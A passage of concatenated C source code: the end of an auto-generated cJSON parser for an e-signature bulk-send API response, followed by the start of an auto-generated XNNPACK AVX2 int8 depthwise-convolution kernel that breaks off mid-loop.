cJSON *b_ezsignbulksend_needvalidation = cJSON_GetObjectItemCaseSensitive(ezsignbulksend_response_compoundJSON, "bEzsignbulksendNeedvalidation");
if (!b_ezsignbulksend_needvalidation) {
goto end;
}
if(!cJSON_IsBool(b_ezsignbulksend_needvalidation))
{
goto end; //Bool
}
// ezsignbulksend_response_compound->b_ezsignbulksend_isactive
cJSON *b_ezsignbulksend_isactive = cJSON_GetObjectItemCaseSensitive(ezsignbulksend_response_compoundJSON, "bEzsignbulksendIsactive");
if (!b_ezsignbulksend_isactive) {
goto end;
}
if(!cJSON_IsBool(b_ezsignbulksend_isactive))
{
goto end; //Bool
}
// ezsignbulksend_response_compound->obj_audit
cJSON *obj_audit = cJSON_GetObjectItemCaseSensitive(ezsignbulksend_response_compoundJSON, "objAudit");
if (!obj_audit) {
goto end;
}
obj_audit_local_nonprim = common_audit_parseFromJSON(obj_audit); //nonprimitive
// ezsignbulksend_response_compound->a_obj_ezsignbulksenddocumentmapping
cJSON *a_obj_ezsignbulksenddocumentmapping = cJSON_GetObjectItemCaseSensitive(ezsignbulksend_response_compoundJSON, "a_objEzsignbulksenddocumentmapping");
if (!a_obj_ezsignbulksenddocumentmapping) {
goto end;
}
cJSON *a_obj_ezsignbulksenddocumentmapping_local_nonprimitive = NULL;
if(!cJSON_IsArray(a_obj_ezsignbulksenddocumentmapping)){
goto end; //nonprimitive container
}
a_obj_ezsignbulksenddocumentmappingList = list_createList();
cJSON_ArrayForEach(a_obj_ezsignbulksenddocumentmapping_local_nonprimitive,a_obj_ezsignbulksenddocumentmapping )
{
if(!cJSON_IsObject(a_obj_ezsignbulksenddocumentmapping_local_nonprimitive)){
goto end;
}
ezsignbulksenddocumentmapping_response_compound_t *a_obj_ezsignbulksenddocumentmappingItem = ezsignbulksenddocumentmapping_response_compound_parseFromJSON(a_obj_ezsignbulksenddocumentmapping_local_nonprimitive);
list_addElement(a_obj_ezsignbulksenddocumentmappingList, a_obj_ezsignbulksenddocumentmappingItem);
}
// ezsignbulksend_response_compound->a_obj_ezsignbulksendsignermapping
cJSON *a_obj_ezsignbulksendsignermapping = cJSON_GetObjectItemCaseSensitive(ezsignbulksend_response_compoundJSON, "a_objEzsignbulksendsignermapping");
if (!a_obj_ezsignbulksendsignermapping) {
goto end;
}
cJSON *a_obj_ezsignbulksendsignermapping_local_nonprimitive = NULL;
if(!cJSON_IsArray(a_obj_ezsignbulksendsignermapping)){
goto end; //nonprimitive container
}
a_obj_ezsignbulksendsignermappingList = list_createList();
cJSON_ArrayForEach(a_obj_ezsignbulksendsignermapping_local_nonprimitive,a_obj_ezsignbulksendsignermapping )
{
if(!cJSON_IsObject(a_obj_ezsignbulksendsignermapping_local_nonprimitive)){
goto end;
}
ezsignbulksendsignermapping_response_t *a_obj_ezsignbulksendsignermappingItem = ezsignbulksendsignermapping_response_parseFromJSON(a_obj_ezsignbulksendsignermapping_local_nonprimitive);
list_addElement(a_obj_ezsignbulksendsignermappingList, a_obj_ezsignbulksendsignermappingItem);
}
ezsignbulksend_response_compound_local_var = ezsignbulksend_response_compound_create (
pki_ezsignbulksend_id->valuedouble,
fki_ezsignfoldertype_id->valuedouble,
fki_language_id->valuedouble,
strdup(s_language_name_x->valuestring),
strdup(s_ezsignfoldertype_name_x->valuestring),
strdup(s_ezsignbulksend_description->valuestring),
strdup(t_ezsignbulksend_note->valuestring),
b_ezsignbulksend_needvalidation->valueint,
b_ezsignbulksend_isactive->valueint,
obj_audit_local_nonprim,
a_obj_ezsignbulksenddocumentmappingList,
a_obj_ezsignbulksendsignermappingList
);
return ezsignbulksend_response_compound_local_var;
end:
if (obj_audit_local_nonprim) {
common_audit_free(obj_audit_local_nonprim);
obj_audit_local_nonprim = NULL;
}
if (a_obj_ezsignbulksenddocumentmappingList) {
listEntry_t *listEntry = NULL;
list_ForEach(listEntry, a_obj_ezsignbulksenddocumentmappingList) {
ezsignbulksenddocumentmapping_response_compound_free(listEntry->data);
listEntry->data = NULL;
}
list_freeList(a_obj_ezsignbulksenddocumentmappingList);
a_obj_ezsignbulksenddocumentmappingList = NULL;
}
if (a_obj_ezsignbulksendsignermappingList) {
listEntry_t *listEntry = NULL;
list_ForEach(listEntry, a_obj_ezsignbulksendsignermappingList) {
ezsignbulksendsignermapping_response_free(listEntry->data);
listEntry->data = NULL;
}
list_freeList(a_obj_ezsignbulksendsignermappingList);
a_obj_ezsignbulksendsignermappingList = NULL;
}
return NULL;
}
|
72982.c | // Auto-generated file. Do not edit!
// Template: src/qs8-dwconv/unipass-avx2-mul16-vpmovsx.c.in
// Generator: tools/xngen
//
// Copyright 2020 Google LLC
//
// This source code is licensed under the BSD-style license found in the
// LICENSE file in the root directory of this source tree.
#include <assert.h>
#include <immintrin.h>
#include <xnnpack/dwconv.h>
void xnn_qs8_dwconv_minmax_fp32_ukernel_up32x25__avx2_mul16_vpmovsx(
size_t channels,
size_t output_width,
const int8_t** input,
const void* weights,
int8_t* output,
size_t input_stride,
size_t output_increment,
size_t input_offset,
const int8_t* zero,
const union xnn_qs8_conv_minmax_params params[restrict XNN_MIN_ELEMENTS(1)]) XNN_DISABLE_TSAN XNN_DISABLE_MSAN
{
assert(channels != 0);
assert(output_width != 0);
do {
const int8_t* i0 = input[0];
assert(i0 != NULL);
if XNN_UNPREDICTABLE(i0 != zero) {
i0 = (const int8_t*) ((uintptr_t) i0 + input_offset);
}
const int8_t* i1 = input[1];
assert(i1 != NULL);
if XNN_UNPREDICTABLE(i1 != zero) {
i1 = (const int8_t*) ((uintptr_t) i1 + input_offset);
}
const int8_t* i2 = input[2];
assert(i2 != NULL);
if XNN_UNPREDICTABLE(i2 != zero) {
i2 = (const int8_t*) ((uintptr_t) i2 + input_offset);
}
const int8_t* i3 = input[3];
assert(i3 != NULL);
if XNN_UNPREDICTABLE(i3 != zero) {
i3 = (const int8_t*) ((uintptr_t) i3 + input_offset);
}
const int8_t* i4 = input[4];
assert(i4 != NULL);
if XNN_UNPREDICTABLE(i4 != zero) {
i4 = (const int8_t*) ((uintptr_t) i4 + input_offset);
}
const int8_t* i5 = input[5];
assert(i5 != NULL);
if XNN_UNPREDICTABLE(i5 != zero) {
i5 = (const int8_t*) ((uintptr_t) i5 + input_offset);
}
const int8_t* i6 = input[6];
assert(i6 != NULL);
if XNN_UNPREDICTABLE(i6 != zero) {
i6 = (const int8_t*) ((uintptr_t) i6 + input_offset);
}
const int8_t* i7 = input[7];
assert(i7 != NULL);
if XNN_UNPREDICTABLE(i7 != zero) {
i7 = (const int8_t*) ((uintptr_t) i7 + input_offset);
}
const int8_t* i8 = input[8];
assert(i8 != NULL);
if XNN_UNPREDICTABLE(i8 != zero) {
i8 = (const int8_t*) ((uintptr_t) i8 + input_offset);
}
const int8_t* i9 = input[9];
assert(i9 != NULL);
if XNN_UNPREDICTABLE(i9 != zero) {
i9 = (const int8_t*) ((uintptr_t) i9 + input_offset);
}
const int8_t* i10 = input[10];
assert(i10 != NULL);
if XNN_UNPREDICTABLE(i10 != zero) {
i10 = (const int8_t*) ((uintptr_t) i10 + input_offset);
}
const int8_t* i11 = input[11];
assert(i11 != NULL);
if XNN_UNPREDICTABLE(i11 != zero) {
i11 = (const int8_t*) ((uintptr_t) i11 + input_offset);
}
const int8_t* i12 = input[12];
assert(i12 != NULL);
if XNN_UNPREDICTABLE(i12 != zero) {
i12 = (const int8_t*) ((uintptr_t) i12 + input_offset);
}
const int8_t* i13 = input[13];
assert(i13 != NULL);
if XNN_UNPREDICTABLE(i13 != zero) {
i13 = (const int8_t*) ((uintptr_t) i13 + input_offset);
}
const int8_t* i14 = input[14];
assert(i14 != NULL);
if XNN_UNPREDICTABLE(i14 != zero) {
i14 = (const int8_t*) ((uintptr_t) i14 + input_offset);
}
const int8_t* i15 = input[15];
assert(i15 != NULL);
if XNN_UNPREDICTABLE(i15 != zero) {
i15 = (const int8_t*) ((uintptr_t) i15 + input_offset);
}
const int8_t* i16 = input[16];
assert(i16 != NULL);
if XNN_UNPREDICTABLE(i16 != zero) {
i16 = (const int8_t*) ((uintptr_t) i16 + input_offset);
}
const int8_t* i17 = input[17];
assert(i17 != NULL);
if XNN_UNPREDICTABLE(i17 != zero) {
i17 = (const int8_t*) ((uintptr_t) i17 + input_offset);
}
const int8_t* i18 = input[18];
assert(i18 != NULL);
if XNN_UNPREDICTABLE(i18 != zero) {
i18 = (const int8_t*) ((uintptr_t) i18 + input_offset);
}
const int8_t* i19 = input[19];
assert(i19 != NULL);
if XNN_UNPREDICTABLE(i19 != zero) {
i19 = (const int8_t*) ((uintptr_t) i19 + input_offset);
}
const int8_t* i20 = input[20];
assert(i20 != NULL);
if XNN_UNPREDICTABLE(i20 != zero) {
i20 = (const int8_t*) ((uintptr_t) i20 + input_offset);
}
const int8_t* i21 = input[21];
assert(i21 != NULL);
if XNN_UNPREDICTABLE(i21 != zero) {
i21 = (const int8_t*) ((uintptr_t) i21 + input_offset);
}
const int8_t* i22 = input[22];
assert(i22 != NULL);
if XNN_UNPREDICTABLE(i22 != zero) {
i22 = (const int8_t*) ((uintptr_t) i22 + input_offset);
}
const int8_t* i23 = input[23];
assert(i23 != NULL);
if XNN_UNPREDICTABLE(i23 != zero) {
i23 = (const int8_t*) ((uintptr_t) i23 + input_offset);
}
const int8_t* i24 = input[24];
assert(i24 != NULL);
if XNN_UNPREDICTABLE(i24 != zero) {
i24 = (const int8_t*) ((uintptr_t) i24 + input_offset);
}
input = (const int8_t**) ((uintptr_t) input + input_stride);
size_t c = channels;
const void* w = weights;
for (; c >= 32; c -= 32) {
__m256i vacc01234567 = _mm256_loadu_si256((const __m256i*) w);
__m256i vacc89ABCDEF = _mm256_loadu_si256((const __m256i*) ((uintptr_t) w + 8 * sizeof(int32_t)));
__m256i vaccGHIJKLMN = _mm256_loadu_si256((const __m256i*) ((uintptr_t) w + 16 * sizeof(int32_t)));
__m256i vaccOPQRSTUV = _mm256_loadu_si256((const __m256i*) ((uintptr_t) w + 24 * sizeof(int32_t)));
const __m256i vi0x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) i0));
const __m256i vk0x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) ((uintptr_t) w + 32 * sizeof(int32_t) + 0 * sizeof(int8_t))));
const __m256i vi0xGHIJKLMNOPQRSTUV = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) (i0 + 16)));
const __m256i vk0xGHIJKLMNOPQRSTUV = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) ((uintptr_t) w + 32 * sizeof(int32_t) + 16 * sizeof(int8_t))));
i0 += 32;
const __m256i vprod0x0123456789ABCDEF = _mm256_mullo_epi16(vi0x0123456789ABCDEF, vk0x0123456789ABCDEF);
const __m128i vprod0x89ABCDEF = _mm256_extracti128_si256(vprod0x0123456789ABCDEF, 1);
vacc01234567 = _mm256_add_epi32(vacc01234567, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod0x0123456789ABCDEF)));
vacc89ABCDEF = _mm256_add_epi32(vacc89ABCDEF, _mm256_cvtepi16_epi32(vprod0x89ABCDEF));
const __m256i vprod0xGHIJKLMNOPQRSTUV = _mm256_mullo_epi16(vi0xGHIJKLMNOPQRSTUV, vk0xGHIJKLMNOPQRSTUV);
const __m128i vprod0xOPQRSTUV = _mm256_extracti128_si256(vprod0xGHIJKLMNOPQRSTUV, 1);
vaccGHIJKLMN = _mm256_add_epi32(vaccGHIJKLMN, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod0xGHIJKLMNOPQRSTUV)));
vaccOPQRSTUV = _mm256_add_epi32(vaccOPQRSTUV, _mm256_cvtepi16_epi32(vprod0xOPQRSTUV));
const __m256i vi1x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) i1));
const __m256i vk1x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) ((uintptr_t) w + 32 * sizeof(int32_t) + 32 * sizeof(int8_t))));
const __m256i vi1xGHIJKLMNOPQRSTUV = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) (i1 + 16)));
const __m256i vk1xGHIJKLMNOPQRSTUV = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) ((uintptr_t) w + 32 * sizeof(int32_t) + 48 * sizeof(int8_t))));
i1 += 32;
const __m256i vprod1x0123456789ABCDEF = _mm256_mullo_epi16(vi1x0123456789ABCDEF, vk1x0123456789ABCDEF);
const __m128i vprod1x89ABCDEF = _mm256_extracti128_si256(vprod1x0123456789ABCDEF, 1);
vacc01234567 = _mm256_add_epi32(vacc01234567, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod1x0123456789ABCDEF)));
vacc89ABCDEF = _mm256_add_epi32(vacc89ABCDEF, _mm256_cvtepi16_epi32(vprod1x89ABCDEF));
const __m256i vprod1xGHIJKLMNOPQRSTUV = _mm256_mullo_epi16(vi1xGHIJKLMNOPQRSTUV, vk1xGHIJKLMNOPQRSTUV);
const __m128i vprod1xOPQRSTUV = _mm256_extracti128_si256(vprod1xGHIJKLMNOPQRSTUV, 1);
vaccGHIJKLMN = _mm256_add_epi32(vaccGHIJKLMN, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod1xGHIJKLMNOPQRSTUV)));
vaccOPQRSTUV = _mm256_add_epi32(vaccOPQRSTUV, _mm256_cvtepi16_epi32(vprod1xOPQRSTUV));
const __m256i vi2x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) i2));
const __m256i vk2x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) ((uintptr_t) w + 32 * sizeof(int32_t) + 64 * sizeof(int8_t))));
const __m256i vi2xGHIJKLMNOPQRSTUV = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) (i2 + 16)));
const __m256i vk2xGHIJKLMNOPQRSTUV = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) ((uintptr_t) w + 32 * sizeof(int32_t) + 80 * sizeof(int8_t))));
i2 += 32;
const __m256i vprod2x0123456789ABCDEF = _mm256_mullo_epi16(vi2x0123456789ABCDEF, vk2x0123456789ABCDEF);
const __m128i vprod2x89ABCDEF = _mm256_extracti128_si256(vprod2x0123456789ABCDEF, 1);
vacc01234567 = _mm256_add_epi32(vacc01234567, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod2x0123456789ABCDEF)));
vacc89ABCDEF = _mm256_add_epi32(vacc89ABCDEF, _mm256_cvtepi16_epi32(vprod2x89ABCDEF));
const __m256i vprod2xGHIJKLMNOPQRSTUV = _mm256_mullo_epi16(vi2xGHIJKLMNOPQRSTUV, vk2xGHIJKLMNOPQRSTUV);
const __m128i vprod2xOPQRSTUV = _mm256_extracti128_si256(vprod2xGHIJKLMNOPQRSTUV, 1);
vaccGHIJKLMN = _mm256_add_epi32(vaccGHIJKLMN, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod2xGHIJKLMNOPQRSTUV)));
vaccOPQRSTUV = _mm256_add_epi32(vaccOPQRSTUV, _mm256_cvtepi16_epi32(vprod2xOPQRSTUV));
const __m256i vi3x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) i3));
const __m256i vk3x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) ((uintptr_t) w + 32 * sizeof(int32_t) + 96 * sizeof(int8_t))));
const __m256i vi3xGHIJKLMNOPQRSTUV = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) (i3 + 16)));
const __m256i vk3xGHIJKLMNOPQRSTUV = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) ((uintptr_t) w + 32 * sizeof(int32_t) + 112 * sizeof(int8_t))));
i3 += 32;
const __m256i vprod3x0123456789ABCDEF = _mm256_mullo_epi16(vi3x0123456789ABCDEF, vk3x0123456789ABCDEF);
const __m128i vprod3x89ABCDEF = _mm256_extracti128_si256(vprod3x0123456789ABCDEF, 1);
vacc01234567 = _mm256_add_epi32(vacc01234567, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod3x0123456789ABCDEF)));
vacc89ABCDEF = _mm256_add_epi32(vacc89ABCDEF, _mm256_cvtepi16_epi32(vprod3x89ABCDEF));
const __m256i vprod3xGHIJKLMNOPQRSTUV = _mm256_mullo_epi16(vi3xGHIJKLMNOPQRSTUV, vk3xGHIJKLMNOPQRSTUV);
const __m128i vprod3xOPQRSTUV = _mm256_extracti128_si256(vprod3xGHIJKLMNOPQRSTUV, 1);
vaccGHIJKLMN = _mm256_add_epi32(vaccGHIJKLMN, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod3xGHIJKLMNOPQRSTUV)));
vaccOPQRSTUV = _mm256_add_epi32(vaccOPQRSTUV, _mm256_cvtepi16_epi32(vprod3xOPQRSTUV));
const __m256i vi4x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) i4));
const __m256i vk4x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) ((uintptr_t) w + 32 * sizeof(int32_t) + 128 * sizeof(int8_t))));
const __m256i vi4xGHIJKLMNOPQRSTUV = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) (i4 + 16)));
const __m256i vk4xGHIJKLMNOPQRSTUV = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) ((uintptr_t) w + 32 * sizeof(int32_t) + 144 * sizeof(int8_t))));
i4 += 32;
const __m256i vprod4x0123456789ABCDEF = _mm256_mullo_epi16(vi4x0123456789ABCDEF, vk4x0123456789ABCDEF);
const __m128i vprod4x89ABCDEF = _mm256_extracti128_si256(vprod4x0123456789ABCDEF, 1);
vacc01234567 = _mm256_add_epi32(vacc01234567, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod4x0123456789ABCDEF)));
vacc89ABCDEF = _mm256_add_epi32(vacc89ABCDEF, _mm256_cvtepi16_epi32(vprod4x89ABCDEF));
const __m256i vprod4xGHIJKLMNOPQRSTUV = _mm256_mullo_epi16(vi4xGHIJKLMNOPQRSTUV, vk4xGHIJKLMNOPQRSTUV);
const __m128i vprod4xOPQRSTUV = _mm256_extracti128_si256(vprod4xGHIJKLMNOPQRSTUV, 1);
vaccGHIJKLMN = _mm256_add_epi32(vaccGHIJKLMN, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod4xGHIJKLMNOPQRSTUV)));
vaccOPQRSTUV = _mm256_add_epi32(vaccOPQRSTUV, _mm256_cvtepi16_epi32(vprod4xOPQRSTUV));
const __m256i vi5x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) i5));
const __m256i vk5x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) ((uintptr_t) w + 32 * sizeof(int32_t) + 160 * sizeof(int8_t))));
const __m256i vi5xGHIJKLMNOPQRSTUV = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) (i5 + 16)));
const __m256i vk5xGHIJKLMNOPQRSTUV = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) ((uintptr_t) w + 32 * sizeof(int32_t) + 176 * sizeof(int8_t))));
i5 += 32;
const __m256i vprod5x0123456789ABCDEF = _mm256_mullo_epi16(vi5x0123456789ABCDEF, vk5x0123456789ABCDEF);
const __m128i vprod5x89ABCDEF = _mm256_extracti128_si256(vprod5x0123456789ABCDEF, 1);
vacc01234567 = _mm256_add_epi32(vacc01234567, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod5x0123456789ABCDEF)));
vacc89ABCDEF = _mm256_add_epi32(vacc89ABCDEF, _mm256_cvtepi16_epi32(vprod5x89ABCDEF));
const __m256i vprod5xGHIJKLMNOPQRSTUV = _mm256_mullo_epi16(vi5xGHIJKLMNOPQRSTUV, vk5xGHIJKLMNOPQRSTUV);
const __m128i vprod5xOPQRSTUV = _mm256_extracti128_si256(vprod5xGHIJKLMNOPQRSTUV, 1);
vaccGHIJKLMN = _mm256_add_epi32(vaccGHIJKLMN, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod5xGHIJKLMNOPQRSTUV)));
vaccOPQRSTUV = _mm256_add_epi32(vaccOPQRSTUV, _mm256_cvtepi16_epi32(vprod5xOPQRSTUV));
const __m256i vi6x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) i6));
const __m256i vk6x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) ((uintptr_t) w + 32 * sizeof(int32_t) + 192 * sizeof(int8_t))));
const __m256i vi6xGHIJKLMNOPQRSTUV = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) (i6 + 16)));
const __m256i vk6xGHIJKLMNOPQRSTUV = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) ((uintptr_t) w + 32 * sizeof(int32_t) + 208 * sizeof(int8_t))));
i6 += 32;
const __m256i vprod6x0123456789ABCDEF = _mm256_mullo_epi16(vi6x0123456789ABCDEF, vk6x0123456789ABCDEF);
const __m128i vprod6x89ABCDEF = _mm256_extracti128_si256(vprod6x0123456789ABCDEF, 1);
vacc01234567 = _mm256_add_epi32(vacc01234567, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod6x0123456789ABCDEF)));
vacc89ABCDEF = _mm256_add_epi32(vacc89ABCDEF, _mm256_cvtepi16_epi32(vprod6x89ABCDEF));
const __m256i vprod6xGHIJKLMNOPQRSTUV = _mm256_mullo_epi16(vi6xGHIJKLMNOPQRSTUV, vk6xGHIJKLMNOPQRSTUV);
const __m128i vprod6xOPQRSTUV = _mm256_extracti128_si256(vprod6xGHIJKLMNOPQRSTUV, 1);
vaccGHIJKLMN = _mm256_add_epi32(vaccGHIJKLMN, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod6xGHIJKLMNOPQRSTUV)));
vaccOPQRSTUV = _mm256_add_epi32(vaccOPQRSTUV, _mm256_cvtepi16_epi32(vprod6xOPQRSTUV));
const __m256i vi7x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) i7));
const __m256i vk7x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) ((uintptr_t) w + 32 * sizeof(int32_t) + 224 * sizeof(int8_t))));
const __m256i vi7xGHIJKLMNOPQRSTUV = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) (i7 + 16)));
const __m256i vk7xGHIJKLMNOPQRSTUV = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) ((uintptr_t) w + 32 * sizeof(int32_t) + 240 * sizeof(int8_t))));
i7 += 32;
const __m256i vprod7x0123456789ABCDEF = _mm256_mullo_epi16(vi7x0123456789ABCDEF, vk7x0123456789ABCDEF);
const __m128i vprod7x89ABCDEF = _mm256_extracti128_si256(vprod7x0123456789ABCDEF, 1);
vacc01234567 = _mm256_add_epi32(vacc01234567, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod7x0123456789ABCDEF)));
vacc89ABCDEF = _mm256_add_epi32(vacc89ABCDEF, _mm256_cvtepi16_epi32(vprod7x89ABCDEF));
const __m256i vprod7xGHIJKLMNOPQRSTUV = _mm256_mullo_epi16(vi7xGHIJKLMNOPQRSTUV, vk7xGHIJKLMNOPQRSTUV);
const __m128i vprod7xOPQRSTUV = _mm256_extracti128_si256(vprod7xGHIJKLMNOPQRSTUV, 1);
vaccGHIJKLMN = _mm256_add_epi32(vaccGHIJKLMN, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod7xGHIJKLMNOPQRSTUV)));
vaccOPQRSTUV = _mm256_add_epi32(vaccOPQRSTUV, _mm256_cvtepi16_epi32(vprod7xOPQRSTUV));
const __m256i vi8x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) i8));
const __m256i vk8x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) ((uintptr_t) w + 32 * sizeof(int32_t) + 256 * sizeof(int8_t))));
const __m256i vi8xGHIJKLMNOPQRSTUV = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) (i8 + 16)));
const __m256i vk8xGHIJKLMNOPQRSTUV = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) ((uintptr_t) w + 32 * sizeof(int32_t) + 272 * sizeof(int8_t))));
i8 += 32;
const __m256i vprod8x0123456789ABCDEF = _mm256_mullo_epi16(vi8x0123456789ABCDEF, vk8x0123456789ABCDEF);
const __m128i vprod8x89ABCDEF = _mm256_extracti128_si256(vprod8x0123456789ABCDEF, 1);
vacc01234567 = _mm256_add_epi32(vacc01234567, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod8x0123456789ABCDEF)));
vacc89ABCDEF = _mm256_add_epi32(vacc89ABCDEF, _mm256_cvtepi16_epi32(vprod8x89ABCDEF));
const __m256i vprod8xGHIJKLMNOPQRSTUV = _mm256_mullo_epi16(vi8xGHIJKLMNOPQRSTUV, vk8xGHIJKLMNOPQRSTUV);
const __m128i vprod8xOPQRSTUV = _mm256_extracti128_si256(vprod8xGHIJKLMNOPQRSTUV, 1);
vaccGHIJKLMN = _mm256_add_epi32(vaccGHIJKLMN, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod8xGHIJKLMNOPQRSTUV)));
vaccOPQRSTUV = _mm256_add_epi32(vaccOPQRSTUV, _mm256_cvtepi16_epi32(vprod8xOPQRSTUV));
const __m256i vi9x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) i9));
const __m256i vk9x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) ((uintptr_t) w + 32 * sizeof(int32_t) + 288 * sizeof(int8_t))));
const __m256i vi9xGHIJKLMNOPQRSTUV = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) (i9 + 16)));
const __m256i vk9xGHIJKLMNOPQRSTUV = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) ((uintptr_t) w + 32 * sizeof(int32_t) + 304 * sizeof(int8_t))));
i9 += 32;
const __m256i vprod9x0123456789ABCDEF = _mm256_mullo_epi16(vi9x0123456789ABCDEF, vk9x0123456789ABCDEF);
const __m128i vprod9x89ABCDEF = _mm256_extracti128_si256(vprod9x0123456789ABCDEF, 1);
vacc01234567 = _mm256_add_epi32(vacc01234567, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod9x0123456789ABCDEF)));
vacc89ABCDEF = _mm256_add_epi32(vacc89ABCDEF, _mm256_cvtepi16_epi32(vprod9x89ABCDEF));
const __m256i vprod9xGHIJKLMNOPQRSTUV = _mm256_mullo_epi16(vi9xGHIJKLMNOPQRSTUV, vk9xGHIJKLMNOPQRSTUV);
const __m128i vprod9xOPQRSTUV = _mm256_extracti128_si256(vprod9xGHIJKLMNOPQRSTUV, 1);
vaccGHIJKLMN = _mm256_add_epi32(vaccGHIJKLMN, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod9xGHIJKLMNOPQRSTUV)));
vaccOPQRSTUV = _mm256_add_epi32(vaccOPQRSTUV, _mm256_cvtepi16_epi32(vprod9xOPQRSTUV));
const __m256i vi10x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) i10));
const __m256i vk10x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) ((uintptr_t) w + 32 * sizeof(int32_t) + 320 * sizeof(int8_t))));
const __m256i vi10xGHIJKLMNOPQRSTUV = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) (i10 + 16)));
const __m256i vk10xGHIJKLMNOPQRSTUV = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) ((uintptr_t) w + 32 * sizeof(int32_t) + 336 * sizeof(int8_t))));
i10 += 32;
const __m256i vprod10x0123456789ABCDEF = _mm256_mullo_epi16(vi10x0123456789ABCDEF, vk10x0123456789ABCDEF);
const __m128i vprod10x89ABCDEF = _mm256_extracti128_si256(vprod10x0123456789ABCDEF, 1);
vacc01234567 = _mm256_add_epi32(vacc01234567, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod10x0123456789ABCDEF)));
vacc89ABCDEF = _mm256_add_epi32(vacc89ABCDEF, _mm256_cvtepi16_epi32(vprod10x89ABCDEF));
const __m256i vprod10xGHIJKLMNOPQRSTUV = _mm256_mullo_epi16(vi10xGHIJKLMNOPQRSTUV, vk10xGHIJKLMNOPQRSTUV);
const __m128i vprod10xOPQRSTUV = _mm256_extracti128_si256(vprod10xGHIJKLMNOPQRSTUV, 1);
vaccGHIJKLMN = _mm256_add_epi32(vaccGHIJKLMN, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod10xGHIJKLMNOPQRSTUV)));
vaccOPQRSTUV = _mm256_add_epi32(vaccOPQRSTUV, _mm256_cvtepi16_epi32(vprod10xOPQRSTUV));
const __m256i vi11x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) i11));
const __m256i vk11x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) ((uintptr_t) w + 32 * sizeof(int32_t) + 352 * sizeof(int8_t))));
const __m256i vi11xGHIJKLMNOPQRSTUV = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) (i11 + 16)));
